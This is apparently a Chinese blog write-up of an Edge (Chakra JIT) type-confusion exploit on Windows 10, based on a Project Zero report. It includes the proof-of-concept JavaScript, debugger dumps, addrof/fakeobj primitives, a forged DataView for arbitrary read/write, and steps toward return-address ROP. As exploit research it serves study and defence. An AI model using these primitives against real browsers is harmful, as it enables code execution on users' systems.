Win10下的浏览器沙箱逃逸 Browser and Kernel Exploitation - EDGE
作者:b2ahex
感觉好久没有更新过了,记录一下之前在win10环境下的 edge + kernel 漏洞利用过程,最终实现沙箱逃逸:
1. 分析篇
POC来源:https://bugs.chromium.org/p/project-zero/issues/detail?id=1290
调试运行poc样本之后,发现对象被改写为0x1234,引发异常访问
发现问题出现在JIT代码中,从type中找到生成的JIT代码,poc中增加Math.cosh.call(func),给math::cosh下面位置下断点查看jit地址:
分析后截取JIT代码片段:
最终引发0x1234(2.3023e-320)说明a被转换为对象数组,从poc中可以看到回调中 a[0] = {}; 会导致a的类型转变,继续跟踪JIT代码查找调用源:
在执行ToNumber之前查看Array a的类型为NativeFloatArray:
dq r13 (array a)
0x000001EC7C4FC620 00007ffd056d7030 000001ec7c4b9140
0x000001EC7C4FC630 0000000000000000 0000000000000005
0x000001EC7C4FC640 0000000000000002 000001ec7c4fc660
0x000001EC7C4FC650 000001ec7c4fc660 000001e47aa78a80
0x000001EC7C4FC660 0000000200000000 0000000000000003
0x000001EC7C4FC670 0000000000000000 0000000000001234dq 0x0000001ec7c4b9140 (a.type == 0x1f == TypeIds_NativeFloatArray)
0x000001EC7C4B9140 000000000000001f
执行ToNumber之后,此时Array a的类型从NativeFloatArray变为Array:
dq r13 (array a)
0x000001EC7C4FC620 00007ffd056d60c8 000001ec7c4b8fc0
0x000001EC7C4FC630 0000000000000000 0000000000000005
0x000001EC7C4FC640 0000000000000002 000001ec7c4fc660
0x000001EC7C4FC650 000001ec7c4fc660 0000000000000000dq 0x0000001ec7c4b8fc0 (a.type == 0x1c == TypeIds_Array)
0x000001EC7C4B8FC0 000000000000001c
执行后面 a[0] = 2.3023e-320 时,由于回调函数的作用,数组a的类型已经发生改变,但是JIT代码却没有对数组a的操作进行检查,最终引发类型类型混淆,用户可以控制任意数据最为指针
回顾POC:
生成jit代码
// force to optimize
for (var i = 0; i < 0x10000; i++)
func(a, b, i);
func(a, b, {valueOf: () => {
设置一个valueOf回调
a[0] = {};
return 0; }
});
触发回调,修改a数组类型,造成类型混淆
function func(a, b, c) {
a[0] = 1.2; //数组a是NativeFloatArray
b[0] = c; //这里触发设置之前的valueOf回调,将数组a从float转换成Array
a[1] = 2.2;
a[0] = 2.3023e-320; //将任意值设置为指针
}
a[0].toString(); //造成异常访问
2. 利用篇
清楚了这个漏洞带来的能力,即构造任意对象指针,我们需要考虑构造什么样的对象,以及如果泄露这个对象的地址。
Array的buf部分拥有完全可控的内存块,供我们构造内存:
var arr = new Array(
0x41414141,0x41414141,0x41414141,0x41414141,0x41414141,
0x41414141,0x41414141,0x41414141,0x41414141,0x41414141,
0x41414141,0x41414141,0x41414141,0x41414141,0x41414141)
由于a[0]此处保存着对象指针,修改代码如下,使func直接返回,泄露对象地址:
function func(a, b, c) {
a[0] = 1.2;
b[0] = c;
a[1] = 2.2;
return a[0]; //执行完callback后,a已经变成array,但是jit中还把他当作NativeFloatArray
}
var arr = new Array(
0x41414141,0x41414141,0x41414141,0x41414141,0x41414141,
0x41414141,0x41414141,0x41414141,0x41414141,0x41414141,
0x41414141,0x41414141,0x41414141,0x41414141,0x41414141
)
farr64[0] = func(a, b, {valueOf: () => {
a[0] = arr;
return 0;
}});
//这里uarr[1]存放高地址,uarr[0]存放低地址,组合得到泄露的arr地址
var leakaddr = uarr32[1]*0x100000000+uarr32[0]
alert("leakaddr:" + leakaddr.toString(16))
成功获取到对象地址,此时buf在arr对象偏移+0x58的位置:
现在需要在arr对象的buf部分构造dataview,实现任意地址读写。
首先利用漏洞,设置泄露出的arr对象+0x58的位置得到指向buf的对象:
var a_a = [1.1, 2.2];
fakeaddr = (leakaddr+0x58) * 4.9406564584124654E-324;
setobj(a_a, b, {valueOf: () => {
a_a[0] = {};
return 0;
}});
fakeobj = a_a[0];
设置dataview内存布局,由于arr是32位,DataView是64位,所以需要写两次,其中要构造的内容有对象类型,type指针,缓冲区大小,arraybufffer指针(找块0内存),arr[14],arr[15]指向目标缓冲区,后续通过修改arr[14],arr[15],完成任意地址读写,类似PALETTE->pFirstColor/BITMAP->pvScan0:
由于getUint32/setUint32是32位操作,所以进行64位读写需要分开执行2次,其对应的操作方式:
GetBitmapBits/GetPaletteEntries —> DataView.prototype.getUint32.call(fakeobj,0);
SetBitmapBits/SetPaletteEntries —> DataView.prototype.setUint32.call(fakeobj,0);
总结一下,设置arr[14],arr[15],执行 DataView.prototype.getUint32.call/DataView.prototype.setUint32.call完成任意地址读写:
有了任意地址读写权限之后,下面要控制程序流程,因为cfg的存在,我们通过修改返回地址来劫持rip,所以需要泄露出一个栈地址:
找到Recycler对象就能找到stackbase,比如:
使用weakmap对象,验证地址:
接下来从stackbase开始搜索参数找到当前函数的返回地址,改写返回地址即可构造ROP,劫持程序执行流程:
Reference:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1290
microsoft edge browser @holynop